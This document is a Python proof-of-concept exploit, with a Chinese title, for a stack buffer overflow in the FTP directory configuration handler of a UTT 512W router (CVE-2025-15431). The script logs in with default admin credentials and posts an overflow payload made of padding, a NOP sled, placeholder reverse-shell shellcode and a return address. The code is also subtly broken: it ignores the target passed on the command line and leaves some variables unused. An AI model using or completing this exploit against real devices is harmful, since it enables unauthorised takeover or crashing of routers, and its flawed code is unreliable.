CVE-2025-15431 | UTT进取512W路由器strcpy缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-15431 PoC - UTT 进取 512W Buffer Overflow Affected: UTT 进取 512W firmware 1.7.7-171114 Vulnerability: Stack-based buffer overflow in /goform/formFtpServerDirConfig CVSS: 8.8 (High) """ import requests import sys TARGET = "http://192.168.1.1" # Router IP LOGIN_URL = f"{TARGET}/login.cgi" FTP_CONFIG_URL = f"{TARGET}/goform/formFtpServerDirConfig" def login(target_ip, username="admin", password="admin"): """Authenticate to the router""" session = requests.Session() data = { "username": username, "password": password } try: response = session.post(LOGIN_URL, data=data, timeout=10) if response.status_code == 200: return session except: pass return None def exploit_buffer_overflow(session): """ Trigger buffer overflow via oversized filename parameter The strcpy function in formFtpServerDirConfig doesn't check input length """ # Buffer size is typically 256-512 bytes, send 2000 bytes to overflow overflow_length = 2000 # NOP sled + shellcode + return address # Adjust return address based on firmware version padding = b"A" * 1008 nop_sled = b"\x90" * 100 # Example: MIPSEL reverse shell shellcode (adjust for target) # This is a placeholder - actual shellcode depends on target architecture shellcode = b"\x00\x01\x02\x03\x04\x05\x06\x07" # Return address pointing to NOP sled (example address) return_addr = b"\x40\x30\x02\x40" # 0x40023040 (adjust based on firmware) payload = padding + nop_sled + shellcode + return_addr data = { "filename": payload.decode('latin-1'), "action": "config" } try: response = session.post(FTP_CONFIG_URL, data=data, timeout=10) print(f"[*] Payload sent, length: {len(payload)}") print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (expected if target crashed): {e}") def main(): if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET print(f"[*] CVE-2025-15431 PoC for UTT 进取 512W") print(f"[*] Target: {target}") session = login(target) if session: print("[+] Login successful") exploit_buffer_overflow(session) else: print("[-] Login failed") if __name__ == "__main__": main()